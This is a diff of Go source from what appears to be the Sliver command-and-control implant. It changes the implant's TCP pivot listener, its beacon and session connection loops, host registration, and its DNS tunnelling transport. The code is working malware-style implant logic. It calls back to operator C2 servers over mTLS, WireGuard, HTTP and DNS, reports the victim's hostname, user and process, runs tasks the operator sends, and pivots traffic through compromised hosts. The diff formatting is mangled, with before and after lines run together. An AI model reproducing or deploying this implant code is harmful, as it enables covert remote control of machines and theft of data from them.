// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"time"
|
||||
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// StartTCPListener - Start a TCP listener
|
||||
func StartTCPListener(address string) error {
|
||||
var (
|
||||
tcpPivotReadDeadline = 10 * time.Second
|
||||
tcpPivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartTCPPivotListener - Start a TCP listener
|
||||
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting Raw TCP listener on %s", address)
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
ln, err := net.Listen("tcp", address)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
log.Printf("[tcp-pivot] listener error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return nil, err
|
||||
}
|
||||
pivotListeners = append(pivotListeners, &PivotListener{
|
||||
Type: "tcp",
|
||||
RemoteAddress: address,
|
||||
})
|
||||
go tcpPivotAcceptNewConnection(ln)
|
||||
return nil
|
||||
pivotListener := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go tcpPivotAcceptNewConnections(pivotListener)
|
||||
return pivotListener, nil
|
||||
}
|
||||
|
||||
func tcpPivotAcceptNewConnection(ln net.Listener) {
|
||||
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("tcp accept failure: %s", err)
|
||||
log.Printf("[tcp-pivot] listener stopping: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
go tcpPivotConnectionHandler(conn)
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
|
||||
func tcpPivotConnectionHandler(conn net.Conn) {
|
||||
// First we read a uint64 containing the current OTP
|
||||
// code to prevent random connections and confirm the
|
||||
// peer was compiled by the same server.
|
||||
otpBuf := make([]byte, 8)
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second * 10))
|
||||
n, err := conn.Read(otpBuf)
|
||||
if err != nil || n != 8 {
|
||||
conn.Close()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read otp code from peer: %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
otpCode := fmt.Sprintf("%d", binary.LittleEndian.Uint64(otpBuf))
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil || !valid {
|
||||
conn.Close()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid otp code from peer %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// cipherCtx := cryptography.NewCipherContext(cryptography.PeerAESKey(otpCode))
|
||||
// tcpPivotStart(cipherCtx, conn)
|
||||
}
|
||||
|
||||
func tcpPivotStart(cipherCtx *cryptography.CipherContext, conn net.Conn) {
|
||||
pivotID := pivotID()
|
||||
|
||||
// defer func() {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Cleaning up for pivot %d\n", pivotID)
|
||||
// // {{end}}
|
||||
// conn.Close()
|
||||
// pivotClose := &sliverpb.PivotClose{
|
||||
// PivotID: pivotID,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotClose)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotClose,
|
||||
// Data: data,
|
||||
// }
|
||||
// }
|
||||
// }()
|
||||
|
||||
for {
|
||||
envelope, err := PivotReadEnvelope(cipherCtx, conn)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
dataBuf, err1 := proto.Marshal(envelope)
|
||||
if err1 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err1)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
pivotData := &sliverpb.PivotData{
|
||||
PivotID: pivotID,
|
||||
Data: dataBuf,
|
||||
}
|
||||
connection := transports.GetActiveConnection()
|
||||
if envelope.Type == 1 {
|
||||
SendPivotOpen(pivotID, dataBuf, connection)
|
||||
continue
|
||||
}
|
||||
data2, err2 := proto.Marshal(pivotData)
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err2)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if connection.IsOpen {
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPivotData,
|
||||
Data: data2,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func pivotID() uint32 {
|
||||
buf := make([]byte, 4)
|
||||
rand.Read(buf)
|
||||
return binary.LittleEndian.Uint32(buf)
|
||||
}
|
||||
+125
-82
@@ -18,7 +18,7 @@ package main
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
|
||||
// {{if or .Config.IsSharedLib }}
|
||||
//#include "sliver.h"
|
||||
import "C"
|
||||
|
||||
@@ -36,9 +36,6 @@ import (
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
"sync"
|
||||
|
||||
"github.com/gofrs/uuid"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}{{else}}
|
||||
@@ -55,11 +52,11 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"google.golang.org/protobuf/reflect/protoreflect"
|
||||
|
||||
@@ -69,15 +66,15 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// {{if .Config.IsBeacon}}
|
||||
BeaconID string
|
||||
// {{end}}
|
||||
InstanceID string
|
||||
|
||||
c2Servers = []string{
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
"{{$value}}", // {{$index}}
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
connectionErrors = 0
|
||||
)
|
||||
|
||||
func init() {
|
||||
@@ -89,15 +86,13 @@ func init() {
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
buf := make([]byte, 16) // NewV4 fails if secure rand fails
|
||||
insecureRand.Read(buf)
|
||||
id = uuid.FromBytesOrNil(buf)
|
||||
}
|
||||
BeaconID = id.String()
|
||||
// {{end}}
|
||||
InstanceID = id.String()
|
||||
}
|
||||
|
||||
// {{if .Config.IsService}}
|
||||
@@ -110,11 +105,25 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
for {
|
||||
select {
|
||||
default:
|
||||
connection := transports.StartConnectionLoop(c2Servers)
|
||||
if connection == nil {
|
||||
break
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
if connection == nil {
|
||||
break
|
||||
}
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Reconnect sleep: %s", reconnect)
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
sessionMainLoop(connection)
|
||||
case c := <-r:
|
||||
switch c.Cmd {
|
||||
case svc.Interrogate:
|
||||
@@ -192,21 +201,24 @@ func main() {
|
||||
// {{if .Config.IsBeacon}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in Beacon mode with ID: %s", BeaconID)
|
||||
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
|
||||
// {{end}}
|
||||
abort := make(chan struct{})
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beaconGenerator := transports.StartBeaconLoop(c2Servers, abort)
|
||||
for beacon := range beaconGenerator {
|
||||
beacons := transports.StartBeaconLoop(c2Servers, abort)
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
// {{end}}
|
||||
if beacon != nil {
|
||||
err := beaconMainLoop(beacon)
|
||||
if err != nil {
|
||||
break
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
@@ -216,15 +228,25 @@ func main() {
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
|
||||
// {{else}}
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in session mode")
|
||||
// {{end}}
|
||||
for {
|
||||
connection := transports.StartConnectionLoop(c2Servers)
|
||||
abort := make(chan struct{})
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
if connection != nil {
|
||||
sessionMainLoop(connection)
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
@@ -238,22 +260,14 @@ func main() {
|
||||
}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
var (
|
||||
beaconErrors = 0
|
||||
)
|
||||
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// Register beacon
|
||||
err := beacon.Init()
|
||||
if err != nil {
|
||||
beaconErrors++
|
||||
if transports.GetMaxConnectionErrors() < beaconErrors {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] init failure %s", err)
|
||||
log.Printf("Beacon init error: %s", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
err := beacon.Cleanup()
|
||||
@@ -269,21 +283,25 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error starting beacon: %s", err)
|
||||
// {{end}}
|
||||
beaconErrors++
|
||||
if transports.GetMaxConnectionErrors() < beaconErrors {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
connectionErrors = 0
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Registering beacon with server")
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
beacon.Send(Envelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: BeaconID,
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.URL()
|
||||
register.ProxyURL = beacon.ProxyURL()
|
||||
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: InstanceID,
|
||||
Interval: beacon.Interval(),
|
||||
Jitter: beacon.Jitter(),
|
||||
Register: RegisterSliver(),
|
||||
Register: register,
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
}))
|
||||
beacon.Close()
|
||||
@@ -335,8 +353,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sending check in ...")
|
||||
// {{end}}
|
||||
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: BeaconID,
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
}))
|
||||
if err != nil {
|
||||
@@ -434,8 +452,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
log.Printf("[beacon] all tasks completed, sending results to server")
|
||||
// {{end}}
|
||||
|
||||
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: BeaconID,
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
@@ -468,30 +486,59 @@ func openSessionHandler(data []byte) {
|
||||
}
|
||||
|
||||
go func() {
|
||||
connection := transports.StartConnectionLoop(openSession.C2S)
|
||||
// {{if .Config.Debug}}
|
||||
if connection == nil {
|
||||
log.Printf("[beacon] failed to open session!")
|
||||
}
|
||||
// {{end}}
|
||||
if connection != nil {
|
||||
sessionMainLoop(connection)
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(openSession.C2S, abort)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
connectionAttempts++
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] failed to connect to server: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
if len(openSession.C2S) <= connectionAttempts {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] failed to connect to server, max connection attempts reached")
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// {{end}} -IsBeacon
|
||||
|
||||
func sessionMainLoop(connection *transports.Connection) {
|
||||
func sessionMainLoop(connection *transports.Connection) error {
|
||||
err := connection.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] failed to establish connection: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if connection == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] nil connection!")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
defer connection.Stop()
|
||||
connectionErrors = 0
|
||||
// Reconnect active pivots
|
||||
pivots.ReconnectActivePivots(connection)
|
||||
|
||||
connection.Send <- Envelope(sliverpb.MsgRegister, RegisterSliver()) // Send registration information
|
||||
// pivots.ReconnectActivePivots(connection)
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = connection.URL()
|
||||
register.ProxyURL = connection.ProxyURL()
|
||||
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information
|
||||
|
||||
pivotHandlers := handlers.GetPivotHandlers()
|
||||
tunHandlers := handlers.GetTunnelHandlers()
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
sysPivotHandlers := handlers.GetSystemPivotHandlers()
|
||||
specialHandlers := handlers.GetSpecialHandlers()
|
||||
|
||||
for envelope := range connection.Recv {
|
||||
@@ -542,11 +589,6 @@ func sessionMainLoop(connection *transports.Connection) {
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := sysPivotHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysPivotHandlers with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] unknown envelope type %d", envelope.Type)
|
||||
@@ -558,10 +600,11 @@ func sessionMainLoop(connection *transports.Connection) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Envelope - Creates an envelope with the given type and data.
|
||||
func Envelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
|
||||
func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
|
||||
data, err := proto.Marshal(message)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -575,8 +618,8 @@ func Envelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envel
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterSliver - Creates a registartion protobuf message
|
||||
func RegisterSliver() *sliverpb.Register {
|
||||
// registerSliver - Creates a registartion protobuf message
|
||||
func registerSliver() *sliverpb.Register {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -593,9 +636,9 @@ func RegisterSliver() *sliverpb.Register {
|
||||
|
||||
// Gracefully error out
|
||||
currentUser = &user.User{
|
||||
Username: "<< error >>",
|
||||
Uid: "<< error >>",
|
||||
Gid: "<< error >>",
|
||||
Username: "<err>",
|
||||
Uid: "<err>",
|
||||
Gid: "<err>",
|
||||
}
|
||||
|
||||
}
|
||||
@@ -606,31 +649,31 @@ func RegisterSliver() *sliverpb.Register {
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
filename = "<< error >>"
|
||||
filename = "<err>"
|
||||
}
|
||||
}
|
||||
|
||||
// Retrieve UUID
|
||||
uuid := hostuuid.GetUUID()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Uuid: %s", uuid)
|
||||
log.Printf("Host Uuid: %s", uuid)
|
||||
// {{end}}
|
||||
|
||||
return &sliverpb.Register{
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
ActiveC2: transports.GetActiveC2(),
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
// ActiveC2: transports.GetActiveC2(),
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
// ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,8 @@ package transports
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -58,6 +60,10 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
_ url.URL
|
||||
)
|
||||
|
||||
type BeaconInit func() error
|
||||
type BeaconStart func() error
|
||||
type BeaconRecv func() (*pb.Envelope, error)
|
||||
@@ -73,6 +79,25 @@ type Beacon struct {
|
||||
Recv BeaconRecv
|
||||
Close BeaconClose
|
||||
Cleanup BeaconCleanup
|
||||
|
||||
url *url.URL
|
||||
proxyURL *url.URL
|
||||
}
|
||||
|
||||
// URL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) URL() string {
|
||||
if b.url == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) ProxyURL() string {
|
||||
if b.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// Interval - Interval between beacons
|
||||
@@ -141,13 +166,11 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
case "mtls":
|
||||
beacon = mtlsBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - MTLSc2Enabled
|
||||
case "wg":
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
beacon = wgBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - WGc2Enabled
|
||||
case "https":
|
||||
fallthrough
|
||||
@@ -155,14 +178,12 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// *** HTTP ***
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
beacon = httpBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - HTTPc2Enabled
|
||||
|
||||
case "dns":
|
||||
// *** DNS ***
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
beacon = dnsBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - DNSc2Enabled
|
||||
|
||||
default:
|
||||
@@ -184,7 +205,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Establishing Beacon -> %s", uri.String())
|
||||
log.Printf("Beacon -> %s", uri.String())
|
||||
// {{end}}
|
||||
var err error
|
||||
lport, err := strconv.Atoi(uri.Port())
|
||||
@@ -306,7 +327,6 @@ func httpBeacon(uri *url.URL) *Beacon {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
proxyURL = client.ProxyURL
|
||||
return nil
|
||||
},
|
||||
Start: func() error {
|
||||
@@ -366,4 +386,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
// {{end}} - DNSc2Enabled
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
@@ -91,6 +91,7 @@ var (
|
||||
ErrClosed = errors.New("dns session closed")
|
||||
ErrInvalidResponse = errors.New("invalid response")
|
||||
ErrInvalidIndex = errors.New("invalid start/stop index")
|
||||
ErrEmptyResponse = errors.New("empty response")
|
||||
)
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
@@ -98,6 +99,7 @@ type DNSOptions struct {
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WokersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
@@ -125,11 +127,17 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
if err != nil || workersPerResolver < 1 {
|
||||
workersPerResolver = 2
|
||||
}
|
||||
// Max errors
|
||||
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
|
||||
return &DNSOptions{
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WokersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
@@ -436,6 +444,12 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read msg resp data: %v", respData)
|
||||
// {{end}}
|
||||
if len(respData) < 1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
dnsMsg := &dnspb.DNSMessage{}
|
||||
err = proto.Unmarshal(respData, dnsMsg)
|
||||
@@ -612,22 +626,29 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
stop := start
|
||||
lastLen := 0
|
||||
var encoded string
|
||||
// {{if .Config.Debug}}
|
||||
encodedSubdata := []string{}
|
||||
// {{end}}
|
||||
for index := 0; stop < len(data); index++ {
|
||||
if len(data) < index {
|
||||
panic("boundary miscalculation") // We should always be able to encode more than one byte
|
||||
}
|
||||
msg.Start = uint32(start)
|
||||
if lastLen == 0 {
|
||||
stop += int(float64(s.subdataSpace) / 2) // base32 overhead is about 160%
|
||||
stop += int(float64(s.subdataSpace)/2) - 1 // base32 overhead is about 160%
|
||||
} else {
|
||||
stop += (lastLen - 4) // max start uint32 overhead
|
||||
}
|
||||
if len(data) < stop {
|
||||
if len(data) <= stop {
|
||||
stop = len(data) - 1 // make sure the loop is executed at least once
|
||||
}
|
||||
|
||||
// Sometimes adding a byte will result in +2 chars so we -1 the subdata space
|
||||
encoded = ""
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] encoded: %d, subdata space: %d | stop: %d, len: %d",
|
||||
len(encoded), (s.subdataSpace - 1), stop, len(data))
|
||||
// {{end}}
|
||||
for len(encoded) < (s.subdataSpace-1) && stop < len(data) {
|
||||
stop++
|
||||
// {{if .Config.Debug}}
|
||||
@@ -641,6 +662,9 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
// {{end}}
|
||||
}
|
||||
lastLen = len(msg.Data) // Save the amount of data that fit for the next loop
|
||||
// {{if .Config.Debug}}
|
||||
encodedSubdata = append(encodedSubdata, encoded)
|
||||
// {{end}}
|
||||
domain, err := s.joinSubdataToParent(encoded)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -651,6 +675,28 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
subdata = append(subdata, domain)
|
||||
start = stop
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
total := 0
|
||||
for index, domain := range encodedSubdata {
|
||||
dnsMsg := &dnspb.DNSMessage{}
|
||||
rawData, err := encoder.Decode([]byte(domain))
|
||||
if err != nil {
|
||||
log.Printf("[dns] decode failed: %s", err)
|
||||
panic("failed to decode subdata")
|
||||
}
|
||||
proto.Unmarshal(rawData, dnsMsg)
|
||||
total += len(dnsMsg.Data)
|
||||
log.Printf("[dns] subdata %d (%d->%d): %d bytes",
|
||||
index, dnsMsg.Start, int(dnsMsg.Start)+len(dnsMsg.Data), len(dnsMsg.Data))
|
||||
}
|
||||
log.Printf("[dns] original data: %d bytes", len(data))
|
||||
log.Printf("[dns] total subdata: %d bytes", total)
|
||||
if total != len(data) {
|
||||
panic("failed to properly encode subdata")
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return subdata, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -64,10 +64,12 @@ type GenericResolver struct {
|
||||
base64 encoders.Base64
|
||||
}
|
||||
|
||||
// Address - Return the address of the resolver
|
||||
func (r *GenericResolver) Address() string {
|
||||
return r.address
|
||||
}
|
||||
|
||||
// A - Query for A records
|
||||
func (r *GenericResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
@@ -112,6 +114,7 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
|
||||
return records, rtt, err
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
|
||||
@@ -30,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
// NewSystemResolver -
|
||||
// NewSystemResolver - Initialize a new system resolver
|
||||
func NewSystemResolver() DNSResolver {
|
||||
return &SystemResolver{
|
||||
base64: encoders.Base64{},
|
||||
